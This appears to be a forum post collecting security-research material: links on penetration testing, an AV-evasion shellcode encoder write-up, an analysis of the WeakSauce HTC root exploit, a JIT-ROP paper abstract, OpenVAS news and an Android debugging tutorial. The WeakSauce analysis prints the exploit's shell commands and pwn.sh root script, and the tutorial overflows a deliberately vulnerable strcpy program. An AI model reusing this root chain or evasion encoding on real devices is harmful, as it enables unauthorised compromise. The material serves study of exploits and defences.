Nytro

[h=1]Linux Commands for Penetration Testers[/h]A collection of hopefully useful Linux Commands for pen testers, this is not a complete list but a collection of commonly used commands + syntax as a sort of “cheatsheet”, this content will be constantly updated as I discover new awesomeness. Link: https://highon.coffee/docs/linux-commands/

Penetration testing - A Hands-On Introduction to Hacking San Francisco by Georgia Weidman About the Author Georgia Weidman is a penetration tester and researcher, as well as the founder of Bulb Security, a security consulting firm. She presents at conferences around the world including Black Hat, ShmooCon, and DerbyCon, and teaches classes on topics such as penetration testing, mobile hacking, and exploit development. Her work in mobile security has been featured in print and on television internationally. She was awarded a DARPA Cyber Fast Track grant to continue her work in mobile device security. Brief Contents Foreword by Peter Van Eeckhoutte xix Acknowledgments . xxiii Introduction xxv Chapter 0: Penetration Testing Primer 1 Part I: The Basics Chapter 1: Setting Up Your Virtual Lab 9 Chapter 2: Using Kali Linux 55 Chapter 3: Programming . 75 Chapter 4: Using the Metasploit Framework . 87 Part II: Assessments Chapter 5: Information Gathering . 113 Chapter 6: Finding Vulnerabilities 133 Chapter 7: Capturing Traffic 155 Part III: Attacks Chapter 8: Exploitation 179 Chapter 9: Password Attacks 197 Chapter10: Client-Side Exploitation . 215 Chapter 11: Social Engineering 243 Chapter 12: Bypassing Antivirus Applications 257 Chapter 13: Post Exploitation 277 Chapter 14: Web Application Testing 313 Chapter 15: Wireless Attacks 339 viii Brief Contents ? Part IV: Exploit Development Chapter 16: A Stack-Based Buffer Overflow in Linux . 361 Chapter 17: A Stack-Based Buffer Overflow in Windows 379 Chapter 18: Structured Exception Handler Overwrites 401 Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules 421 Part V: Mobile Hacking Chapter 20: Using the Smartphone Pentest Framework . 445 Resources . 473 Index . 477 Download: http://www.caluniv.ac.in/free_book/Cyber-Security/Penetration%20Testing%20A%20Hands-On%20Introduction%20to%20Hacking.pdf Nota: Autorul este o tipa. :->

SLAE: Custom RBIX Shellcode Encoder/Decoder Anti-Virus and Intrusion Detection Systems could become really nasty during a penetration test. They are often responsible for unstable or ineffective exploit payloads, system lock-downs or even angry penetration testers . The following article is about a simple AV and IDS evasion technique, which could be used to bypass pattern-based security software or hardware. It’s not meant to be an all-round solution for bypassing strong heuristic-based systems, but it’s a good starting point to further improve these encoding/obfuscation technique. Therefore this article covers shellcode encoders and decoders in my SecurityTube Linux Assembly Expert certification series. Random-Byte-Insertion-XOR Encoding Scheme The encoding scheme itself is actually quite easy. The idea is to take a random byte as the base for a XOR operation, and to chain the next XOR operation based on the result of the previous. The same goes for the 3rd and 4th byte. The following flow-graph quickly describes what’s happening during the encoding process: First of all (before step #1 is performed), the encoder splits the input shellcode into multiple blocks with a length of 3 bytes each and adds a random byte (value 0x01 to 0xFF) at the beginning of each of those blocks, so that these random bytes differ from block to block. If the shellcode is not aligned to these 3 byte-blocks, an additional NOP-padding (0x90) is added to the last block. During the second step, the encoder XORs the first (the random byte) with the second byte (this is originally the first byte of the shellcode) and overwrites the second byte with the XOR result. The third step takes the result from the first XOR operation and XORs it again with the third byte, and the last step does the same and XORs the result of the previous XOR operation with the last byte of the block. This results in a completely shredded-looking piece of memory Articol complet: https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/

Analyzing the WeakSauce Exploit Jonathan Levin, Redirecting you to main page.. As part of the devices I researched for my upcoming book on Android Internals, I got myself an HTC One M8. A chief factor in my decision was knowing that it had a working 1-click root, since I didn't want to root it using a bootloader unlock (which would ruin the prospects of selling it on eBay once I'm done). The exploit for the One M8 is called WeakSauce, and has been published on XDA Developers by members jcase (who discovered the vulnerability) and beaups (who helped exploit it). It's packaged as a simple APK, which you can download and push to the device, but I couldn't find much documentation on how it works, though it had been classified as an HTC specific vulnerability, and not a generic one in KitKat. Since I have a chapter dealing with security, it made sense to try and figure out exactly what the exploit is doing. This article was created to detail the process, and is written as a tutorial. Going along, I hope to publish more of these articles as updates to the book, as I have with the OS X/iOS book. Step I: Examine the APK Getting the APK is a simple enough matter, as it is freely and readily downloadable. After getting it, we can unzip to examine its contents: morpheus@Ergo (~/tmp)$ unzip -l WeakSauce-1.0.1.apk Archive: ../../WeakSauce-1.0.1.apk Length Date Time Name -------- ---- ---- ---- 630 03-30-14 10:20 META-INF/MANIFEST.MF 751 03-30-14 10:20 META-INF/TIMEPINK.SF 912 03-30-14 10:20 META-INF/TIMEPINK.RSA 853044 03-30-14 10:19 assets/busybox 52428800 03-30-14 10:19 assets/xbin.img 3067 03-30-14 10:19 res/drawable/ic_launcher.png 652 03-30-14 10:20 res/layout/activity_main.xml 464 03-30-14 10:20 res/menu/main.xml 2840 03-30-14 10:20 AndroidManifest.xml 1852 03-30-14 10:19 resources.arsc 705756 03-30-14 10:19 classes.dex -------- ------- 53998768 11 files As the above shows, the APK has no JNI functionality (otherwise it would have a lib/ subfolder). The only "unusual" thing about it are the assets - the APK packages busybox (the all-in-one-binary, statically compiled) and an image of xbin (An ext4 loopback mount image). The manifest is also quite simple (I XMLized the relevant portions): morpheus@Ergo (~/tmp)$ aapt d xmltree WeakSauce-1.0.1.apk AndroidManifest.xml | xmlize <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.cunninglogic.weaksauce" android:versionCode="1" android:versionName="1.0.1"> ... <uses-permission android:name="android.permission.INTERNET"> <uses-permission android:name="android.permission.BLUETOOTH"> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"> <application ...> .. <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> </application> </manifest> The only thing that's intriguing is why WeakSauce needs BlueTooth permissions. This will be explained shortly. Step II: dexter The dexter is a simple DEX file parser and extractor I wrote as an appendix to Chapter 10 of the book, which deals with the internals of the Dalvik VM. The tool is an improvement on the well known dexdump utility, in that it is more Java-aware, and can also perform some decompilation. Using it to dump the classes revealed some 521 classes, of which the vast majority were Android support classes - so these could be outright ignored. morpheus@Ergo (~/tmp)$ dexter --classes classes.dex | grep -v " android" Class Defs: 521 bytes @0x17540 Class 343: Package: com.cunninglogic.weaksauce Class: D; (y) Class 344: Package: com.cunninglogic.weaksauce Class: G; (y) Class 345: Package: com.cunninglogic.weaksauce Class: H; (y) Class 346: Package: com.cunninglogic.weaksauce Class: J; (l) Class 347: Package: com.cunninglogic.weaksauce Class: K; (v) Class 348: Package: com.cunninglogic.weaksauce Class: M; (y) Class 349: Package: com.cunninglogic.weaksauce Class: MainActivity; (v) Class 350: Package: com.cunninglogic.weaksauce Class: OnBootReceiver; (w) Class 351: Package: com.cunninglogic.weaksauce Class: Weak; (f) Class 352: Package: com.cunninglogic.weaksauce Class: b; (y) Class 353: Package: com.cunninglogic.weaksauce Class: c; (v) Class 354: Package: com.cunninglogic.weaksauce Class: f; (y) Class 355: Package: com.cunninglogic.weaksauce Class: i; (y) Class 356: Package: com.cunninglogic.weaksauce Class: j; (y) Class 357: Package: com.cunninglogic.weaksauce Class: k; (y) Class 358: Package: com.htc.engine.system Class: SystemAccess ® morpheus@Ergo (~/tmp)$ dexter --extract com.cunninglogic.weaksauce classes.dex Extracting all classes belonging to com.cunninglogic.weaksauce Package... 15 Classes extracted. morpheus@Ergo (~/tmp)$ dexter --extract "com.htc*" classes.dex Extracting all classes matching "com.htc*" 1 Class extracted. Aside from the android support classes, which are nothing special), only has the com.cunninglogic.weaksauce package classes - obfuscated, as is readily seen from the class names - and the com.htc.engine.system.SystemAccess.class - which is a replacement class for the similarly named class on the phone. Step II': dex2jar Since imgtool is not out yet at the time I'm writing this (it will be released with the book), you can use the dex2jar tool to unpack the classes. This is a simple, yet powerful utility, which undoes the work performed by the SDK's dx. Whereas the latter takes the Java classes of the APK, in JAR form, and creates a classes.dex, the former converts the classes.dex back into a JAR file. The usage is straightforward. Unpacking, you should get a classes-dex2jar.jar file, which you can unzip. morpheus@Ergo (~/tmp)$ unzip -l classes-dex2jar.jar Archive: classes-dex2jar.jar Length Date Time Name -------- ---- ---- ---- 0 05-15-14 15:54 android/ 0 05-15-14 15:54 android/support/ 0 05-15-14 15:54 android/support/v4/ # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 0 05-15-14 15:54 com/ 0 05-15-14 15:54 com/cunninglogic/ 0 05-15-14 15:54 com/cunninglogic/weaksauce/ 236 05-15-14 15:54 com/cunninglogic/weaksauce/D.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/G.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/H.class 159 05-15-14 15:54 com/cunninglogic/weaksauce/J.class 755 05-15-14 15:54 com/cunninglogic/weaksauce/K.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/M.class 3203 05-15-14 15:54 com/cunninglogic/weaksauce/MainActivity.class 674 05-15-14 15:54 com/cunninglogic/weaksauce/OnBootReceiver.class 8512 05-15-14 15:54 com/cunninglogic/weaksauce/Weak.class 331 05-15-14 15:54 com/cunninglogic/weaksauce/b.class 653 05-15-14 15:54 com/cunninglogic/weaksauce/c.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/f.class 1194 05-15-14 15:54 com/cunninglogic/weaksauce/i.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/j.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/k.class 0 05-15-14 15:54 com/htc/ 0 05-15-14 15:54 com/htc/engine/ 0 05-15-14 15:54 com/htc/engine/system/ 1249 05-15-14 15:54 com/htc/engine/system/SystemAccess.class # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 540 05-15-14 15:55 android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class -------- ------- 849028 550 files Step III: Deobfuscation The classes extracted from the APK are obfuscated, but it's a simple enough matter to deobfuscate them. Looking at the SystemAccess as an example, we see: System.load(i.m("JR\033C\007]\026TTo'\003\003O\007E\017\035\000A\b`2[\024U\026U\000UKU\n")); Which implies the strings (in this case, presumably the name of a native library) are also obfuscated. The implementation of i.m shows: package com.cunninglogic.weaksauce; public final class i { public static String m(String paramString) { StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1]; String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName(); .. The i.m method relies on its caller - obtained through the stack trace - as a key to the obfuscation. With that in mind, it's simple to create an m2, which also gets the class and method names as arguments. That is: public static String m2(String paramString, String MethodName, String ClassName) { StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1]; String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName(); // Override: str = MethodName + ClassName; // and we can now call this function instead of the old m, // e.g. SystemAccess.m2("\000ZP\\\026\001v2KFC\004TXOD", // "com.cunninglogic.weaksauce.Weak", // "m"); So, after a little bit of search and replace we can reveal that the above string is really: "system/lib/libdm-systemaccess.so". It turns out there is a similarly named m method in SystemClass.java, used extensively by the Weak class (which performs the bulk of the work). This method obfuscates by taking using the classname, and then the method name (that is, in reverse). Deobfuscating all of the strings used in Weak class yields: data/data/com.cunninglogic.weaksauce/temp/xbin.img system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/pwn.sh /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/busybox system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/one /system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp/one ... /system/bin/sync echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper /system/bin/sync /system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp /system/bin/sync /data/data/com.cunninglogic.weaksauce/temp /system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/onboot data/data/com.cunninglogic.weaksauce/temp/pwn.sh So - what do we have? A lot of shell commands. Root access is somehow obtained, then these commands are run. Of particular interest is data/data/com.cunninglogic.weaksauce/temp/pwn.sh, which looks like the "pwn script". Note (in the above echo command) it gets written to /sys/kernel/uevent_helper, which is expected to contain the name of a binary launched by the kernel on device addition. This file is writable only by root, however, so the exploit must be doing something before writing to it. Indeed, looking at the device post-exploitation, we see: root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # ls -l /sys/kernel/ .. -rwxrwx--- u0_a235 u0_a235 4096 2014-05-16 14:21 uevent_helper -r--r--r-- root root 4096 2014-05-16 14:30 uevent_seqnum .. Showing that /sys/kernel/uevent_helper has been chown'ed to be WeakSauce's. Since the root exploit works and we have access to all the directories, we can just navigate to WeakSauce's directory, and see: root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # cat pwn.sh #!/system/bin/sh echo 1 > /sys/kernel/uevent_helper /system/bin/cat /system/xbin/dexdump > /data/data/com.cunninglogic.weaksauce/temp/dexdump /system/bin/cat /system/xbin/nc > /data/data/com.cunninglogic.weaksauce/temp/nc /system/bin/cat /system/xbin/dexus > /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 744 /data/data/com.cunninglogic.weaksauce/temp//nc /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexdump /data/data/com.cunninglogic.weaksauce/temp/busybox mount /data/data/com.cunninglogic.weaksauce/temp/xbin.img /system/xbin /system/bin/sync /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/nc > /system/xbin/nc /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexus > /system/xbin/dexus /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexdump > /system/xbin/dexdump /system/bin/chmod 744 /system/xbin/nc /system/bin/chmod 755 /system/xbin/dexus /system/bin/chmod 755 /system/xbin/dexdump /system/bin/chown 0.2000 /system/xbin/nc /system/bin/chown 0.2000 /system/xbin/dexus /system/bin/chown 0.2000 /system/xbin/dexdump /system/xbin/daemonsu --auto-daemon & So all that would be needed is to get the kernel to detect a new device. This is why Weaksauce required bluetooth permissions - looking at the Weak class we see: SystemAccess.m().CopyFileCtl( SystemAccess.m("\002DGWD\004IDWN\006\001\013V\023JZCENOXUBLP\\\001^LN\t\027zhJJ\002_BLQ\b"), SystemAccess.m("NOB"), SystemAccess.m("M\027bn\006DHYIDM\b"), SystemAccess.m("Z\007\022~s]pENKQDU")); // /system/bin/sync m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD")); //m ("echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper"); m(SystemAccess.m("HHQP\017\016\006K\003\020z2MNYJ\bBNJ\001JVKON\f\003CF^VA\nUADHQE^......")); // /system/bin/sync m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD")); // ... localBluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); bool1 = localBluetoothAdapter.isEnabled(); if (!bool1) { localBluetoothAdapter.enable(); } The call to CopyFileCtl is the important one here - this was defined as a native method of the replaced com.htc.engine.system.SystemAccess class. As it so happens, this does, in fact, turn out to be a JNI library, with the corresponding method defines as: [morpheus@Forge ~]$ /usr/local/android-ndk-r8e/toolchains/arm-linux-androideabi-4.7/prebuilt/\ linux-x86_64/bin/arm-linux-androideabi-objdump -d libdm-systemaccess.so ... 00001d60 <Java_com_htc_engine_system_SystemAccess_CopyFileCtl>: .. The fault lies in this function, which calls HTC's dmagent (thorugh the /dev/socket/dmsocket socket). The daemon (running as root, naturally) performs the copying, but along the way the file permissions get incorrectly chmod'ed. Game over. Summary This article detailed how WeakSauce works. To recap: WeakSauce creates a replacement class for HTC's SystemAccess. Using JNI, it triggers a file copy operation, passing /sys/kernel as one of its arguments The dmagent daemon happily complies, and chowns the permissions on /sys/kernel/uevent_helper WeakSauce readily exploits this by writing its pwn.sh as the uevent handler WeakSauce disables/enables BlueTooth, which makes the kernel trigger the uevent_helper - that is, pwn.sh From this point on, it's all downhill - DaemonSu is installed, which is required in KitKat since a simple setuid /system/xbin/su wouldn't work - The SELinux context would confine even a root owned process to be u:r:shell:s0 (This is explained in Chapter 21, which deals with security). This way, when you type "su", you're actually going to a daemonsu, which runs as u:r:kernel:s0, and spawns you an unrestricted tmp-mksh. You can see that with ps -Z: # # Show all processes, filter out kernel threads, but still show u:r:kernel:s0 context: # root@htc_m8wl:/# ps -Z | grep -v " 2 " | grep kernel u:r:kernel:s0 root 3113 1 daemonsu:mount:master u:r:kernel:s0 root 3114 3113 daemonsu:master u:r:kernel:s0 root 5449 3114 daemonsu:10236 u:r:kernel:s0 root 6559 3114 daemonsu:0 u:r:kernel:s0 root 6567 6559 daemonsu:0:6556 u:r:kernel:s0 root 6569 6567 daemonsu u:r:kernel:s0 root 6572 6567 tmp-mksh u:r:kernel:s0 root 7521 6572 ps u:r:kernel:s0 root 7522 6572 grep u:r:kernel:s0 root 7523 6572 grep # # Note the adb spawned shell is the parent of su, which is why they're both still # u:r:shell:s0.. root@htc_m8wl:/# ps -Z | grep 6530 u:r:shell:s0 shell 6530 3618 /system/bin/sh u:r:shell:s0 shell 6556 6530 su .. And that's all. If you haven't yet checked out the book, please do so now, and feel free to drop me a line at j@ (this domain) for any questions, comments, or requests. Greets jcase and beaups - Great work, you guys. HTC owes you another customer (for now, at least) Sursa: http://www.newandroidbook.com/Articles/HTC.html

Michalis Athanasakis FORTH, Greece michath@ics.forth.gr Elias Athanasopoulos FORTH, Greece elathan@ics.forth.gr Michalis Polychronakis Stony Brook University mikepo@cs.stonybrook.edu Georgios Portokalidis Stevens Institute of Tech. gportoka@stevens.edu Sotiris Ioannidis FORTH, Greece sotiris@ics.forth.gr Abstract—Return-oriented programming (ROP) has become the dominant form of vulnerability exploitation in both user and kernel space. Many defenses against ROP exploits exist, which can significantly raise the bar against attackers. Although protecting existing code, such as applications and the kernel, might be possible, taking countermeasures against dynamic code, i.e., code that is generated only at run-time, is much harder. Attackers have already started exploiting Just-in-Time (JIT) engines, available in all modern browsers, to introduce their (shell)code (either native code or re-usable gadgets) during JIT compilation, and then taking advantage of it. Recognizing this immediate threat, browser vendors started employing defenses for hardening their JIT engines. In this paper, we show that—no matter the employed defenses—JIT engines are still exploitable using solely dynamically generated gadgets. We demonstrate that dynamic ROP payload construction is possible in two modern web browsers without using any of the available gadgets contained in the browser binary or linked libraries. First, we exploit an open source JIT engine (Mozilla Firefox) by feeding it malicious JavaScript, which once processed generates all required gadgets for running any shellcode successfully. Second, we exploit a proprietary JIT engine, the one in the 64-bit Microsoft Internet Explorer, which employs many undocumented, specially crafted defenses against JIT exploitation. We manage to bypass all of them and create the required gadgets for running any shellcode successfully. All defensive techniques are documented in this paper to assist other researchers. Furthermore, besides showing how to construct ROP gadgets on-the-fly, we also show how to discover them on-the-fly, rendering current randomization schemes ineffective. Finally, we perform an analysis of the most important defense currently employed, namely constant blinding, which shields all three-byte or larger immediate values in the JIT buffer for hindering the construction of ROP gadgets. Our analysis suggests that extending constant blinding to all immediate values (i.e., shielding 1-byte and 2-byte constants) dramatically decreases the JIT engine’s performance, introducing up to 80% additional instructions. Download: http://users.ics.forth.gr/~elathan/papers/ndss15.pdf

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution. The actual security scanner is accompanied with a daily updated feed of Network Vulnerability Tests (NVTs), over 35,000 in total (as of April 2014). The OpenVAS Manager is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. The Manager controls the Scanner via OTP (OpenVAS Transfer Protocol) and itself offers the XML-based, stateless OpenVAS Management Protocol (OMP). All intelligence is implemented in the Manager so that it is possible to implement various lean clients that will behave consistently e.g. with regard to filtering or sorting scan results. The Manager also controls a SQL database (sqlite-based) where all configuration and scan result data is centrally stored. Finally, Manager also handles user management includiung access control with groups and roles. We haven’t written about OpenVAS for 6 years, when it first forked off from Nessus back in 2008. It sure has come a long way since then, especially with the fully stocked NVT feed – it’s become a pretty powerful tool with a well thought out architecture. Still today it’s pretty much the only fully fledged Open Source vulnerability scanner out there. Features OpenVAS Scanner Many target hosts are scanned concurrently OpenVAS Transfer Protocol (OTP) SSL support for OTP (always) WMI support (optional) [*]OpenVAS Manager OpenVAS Management Protocol (OMP) SQL Database (sqlite) for configurations and scan results SSL support for OMP (always) Many concurrent scans tasks (many OpenVAS Scanners) Notes management for scan results False Positive management for scan results Scheduled scans Flexible escalators upon status of a scan task Stop, Pause and Resume of scan tasks Master-Slave Mode to control many instances from a central one Reports Format Plugin Framework with various plugins for: XML, HTML, LateX, etc. User Management Feed status view Feed synchronisation [*]Greenbone Security Assistant (GSA) Client for OMP and OAP HTTP and HTTPS Web server on its own (microhttpd), thus no extra web server required Integrated online-help system Multi-language support [*]OpenVAS CLI Client for OMP Runs on Windows, Linux, etc. Plugin for Nagios The powerful and comprehensive OpenVAS solution is available as Free Software and maintained on a daily basis. This is because of dedicated contributors and sponsors. A major source of sustainability of OpenVAS comes from the strong commitment of companies that use OpenVAS as a cornerstone of their business: You can download OpenVAS 7 Virtual Appliance here: OpenVAS-7-DEMO-2.2.ova Or read more here. Sursa: OpenVAS 7 Released - Open Source Vulnerability Scanner - Darknet - The Darkside

UaF: Mitigation and Bypass Jared DeMott, Security Researcher Bromium Labs Motivation • Interest in the state of memory corruption exploits • Past work includes bypassing EMET • Wanted to examine ? Internet Explorers new Use-after-Free (UaF) protections ? Learn how effective they are ? How do these protections compare to EMET? • They don’t ? We’ll see a chart that shows the relative position of different protections Download: https://bromiumlabs.files.wordpress.com/2015/01/demott_uaf_migitation_and_bypass.pdf

A Guide to Debugging Android Binaries In this paper, I’ll describe how to start reverse code engineering in Android devices. In this tutorial, you’ll learn: Installation & configuration of Android Virtual Device. How to build your debugging environment. Short ARM assembly description. Debugging with GDB inside your Android device. Remote Debugging using gdbserver. Remote debugging using IDA. 1. Installation & configuration of Android Virtual Device The first thing to do is to download Android SDK and NDK. We will use GDB, other binutils, and also GCC and LD cross compiling chains. The cross compilers are able to compile binaries for other architectures. In our case, we want to compile ARM binaries from x64 architecture, since we are working on Linux x86_64, and we want to compile binaries for ARM android, so we have to use them. If you are curious about how to build these cross compiling chain tools,here are the commands: # wget -c ftp://ftp.gnu.org/gnu/binutils/binutils-2.11.2.tar.gz # tar xvf binutils-2.11.2.tar.gz # cd binutils-2.11.2 # ./configure –target=arm-linux In our case, we don’t need to do this, as NDK contains all the things we need. Let’s go back and download Android SDK and Android NDK from here: # https://developer.android.com/tools/sdk/ndk/index.html # https://developer.android.com/sdk/index.html or we can download the pre-compiled arm-linux-gnueab- toolchain . tarball these file in /opt/ and then add its path in $PATH variable environment. After that we have to install and configure an Android Virtual Device (AVD).This is where our binaries will run. Type : # android avd Click to New : Click OK, then start your Virtual Device. However, we don’t need its grapical user interface, we will connect to it using shell. AVD gives as a rooted device, so we can do everything, which will be great when we debug Linux internals and keep tracking syscalls. Once you click on the start button, your Virtual Device appears like this: In my case, I used Android 4.2 as a target and Nexus 7 as device,though there is nothing wrong with using other targets or devices. Let’s run our device shell: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ adb shell # id uid=0(root) gid=0(root) [/TD] [/TR] [/TABLE] 2.How to build your debugging environment Nothing’s new here, just mentionning that we will show three ways to debug an Android binary. The first one is to put GDB inside the device and start debugging as you are on a Linux box, thus we can keep track of several things like symbols, GOT, linked libraries, etc. The second one is by using gdbserver and opening a port in the device and forwarding it to an external port to gain access into the device using a GDB client. The third is debugging with IDA Pro. Debugging Android binaries without understanding ARM Assembly is worthless. We will show in the next chapter some basic stuff in ARM Assembly. 3.Short ARM description Personally, I like ARM assembly because it’s very easy to learn and dive into its programming. We will show some basic instructions and conventions: 3.1.Registers ARM Assembly has 16 registers. Some of them are for function arguments, others for local variables, program counter, stack pointer, and other registers. R0 to R3 : for function arguments. Alternative names are a0-a3. R4 to R9 : for local variables. R7 : almost holds the syscall number. R10 (sl) : Stack Limit. R11 (fp) : Fame Pointer. R12 (ip) : Intra Procedure. R13 (sp) : used as Stack Pointer like RSP in x86_64. R14 (lr) : Link Register. R15 (pc) : Program Counter (like RIP in x86_64 & EIP in x86). 3.2.Branching Branching instructions are used when the program needs some loops, procedures and functions. The behaviour of the calling function in ARM is different from x86 assembly . Here are the basic branching instructions: B Branch BL Branch with Link BX Branch with Exchange BLX Branch with Link and Exchange The B (Branch) doesn’t affect LR. That means if we jump to a subroutine we don’t have any traceback for where we were. It’s like JMP instruction in x86 assembly. The BL (Branch with Link) instruction makes a subroutine call by storing PC-4 in LR of the current place, and to return from subroutine, we simply need to restore PC from LR like: mov pc,lr. BX and BLX instructions are used in THUMB MODE which we don’t dive into in this part. 3.3.Data Processing As we know, ARM is a LOAD/STORE architecture it contains 4 main instructions classes: - Arithmetic operations: ADD op1+op2 ADC op1+op2+carry SUB op1-op2+carry-1 syntax : <operation> {<cond>}{S} Rd,Rn,operand examples : ADD r0,r1,r2 SUB R1,R2,#1 - Comparison: CMP op1-op2 TST op1 & op2 TEQ op1 ^ op2 By the way, the results of these operations are not written. Syntax : <operation> {<cond>} Rn,Op examples : CMP R0,R1 CMP R0,#2 - Logical operations: AND op1,op2 EOR op1,op2 ORR op1,op2 - Data movement between registers: MOV op1,op2 syntax : <Operation>{<cond>}{S} Rn, Op2 Examples: MOV r0, r1 We have shown some basic ARM instructions and as we said, it is easy to learn by practicing with some small examples. 4.Debugging with GDB inside your Android device You should download GDB ARM version statically linked. After we have GDB for arm targets, we have to push it on the Android device. # adb push ~/Bureau/arm-gdb /data So we make a small ARM binary as an example inside the device and we’ll keep track of its behaviour: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]#include <stdio.h> #include <string.h> int main(int argc,char **argv) { char buf[16]; if(argc < 2) return -1; strcpy(buf,argv[1]); printf("Hello : %s n",buf); return 0; } [/TD] [/TR] [/TABLE] Let’s compile it: # arm-linux-gnueabi-gcc -o s s.c -static -zexecstack -fno-stack-protector # adb shell root@generic:/ # /data/gdb -q /data/s WARNING: generic atexit() called from legacy shared library Reading symbols from /data/s…(no debugging symbols found)…done. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34[/TD] [TD=class: code](gdb) disas main Dump of assembler code for function main: 0x00008c24 <+0>: push {r7, lr} 0x00008c26 <+2>: sub sp, #24 0x00008c28 <+4>: add r7, sp, #0 0x00008c2a <+6>: str r0, [r7, #4] 0x00008c2c <+8>: str r1, [r7, #0] 0x00008c2e <+10>: ldr r3, [r7, #4] 0x00008c30 <+12>: cmp r3, #1 0x00008c32 <+14>: bgt.n 0x8c3a <main+22> 0x00008c34 <+16>: mov.w r3, #4294967295 0x00008c38 <+20>: b.n 0x8c5e <main+58> 0x00008c3a <+22>: ldr r3, [r7, #0] 0x00008c3c <+24>: add.w r3, r3, #4 0x00008c40 <+28>: ldr r3, [r3, #0] 0x00008c42 <+30>: add.w r2, r7, #8 0x00008c46 <+34>: mov r0, r2 0x00008c48 <+36>: mov r1, r3 0x00008c4a <+38>: blx 0x12e00 <strcpy> 0x00008c4e <+42>: movw r0, #51124 ; 0xc7b4 0x00008c52 <+46>: movt r0, #6 0x00008c56 <+50>: blx 0x99a8 <puts> 0x00008c5a <+54>: mov.w r3, #0 0x00008c5e <+58>: mov r0, r3 0x00008c60 <+60>: add.w r7, r7, #24 0x00008c64 <+64>: mov sp, r7 0x00008c66 <+66>: pop {r7, pc} End of assembler dump. (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /data/s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616160 in ?? () [/TD] [/TR] [/TABLE] 5.Remote debugging using gdbserver This is another cool way to debug outside your device , so we copy gdbserver into /data directory or whatever you want. In the latest Android version, gdbserver has been included by default. Next, you choose between either attaching to a running process or executing a new process. The first thing we should do is port forwarding: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]adb forward tcp:<PC port> tcp:<device port>. [/TD] [/TR] [/TABLE] Example: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]# adb forward tcp:1234 tcp:1234 # adb shell [/TD] [/TR] [/TABLE] We choose any running process: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]root@generic:/ # gdbserver :1234 --attach 1436 Attached; pid = 1436 Listening on port 1234 Remote debugging from host 127.0.0.1 [/TD] [/TR] [/TABLE] In our box we use: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30[/TD] [TD=class: code]# cd /android-ndk-r9/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin # ./arm-linux-androideabi-gdb GNU gdb (GDB) 7.3.1-gg2 Copyright © 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>. (gdb) target remote :1234 Remote debugging using :1234 Remote communication error. Target disconnected.: Connection reset by peer. (gdb) (gdb) target remote :1234 Remote debugging using :1234 0xb6eb1f9c in ?? () (gdb) x/10i $pc Cannot access memory at address 0x5b6 => 0xb6eb1f9c: svc 0x00000000 0xb6eb1fa0: mov r7, r12 0xb6eb1fa4: cmn r0, #4096 ; 0x1000 0xb6eb1fa8: bxls lr 0xb6eb1fac: rsb r0, r0, #0 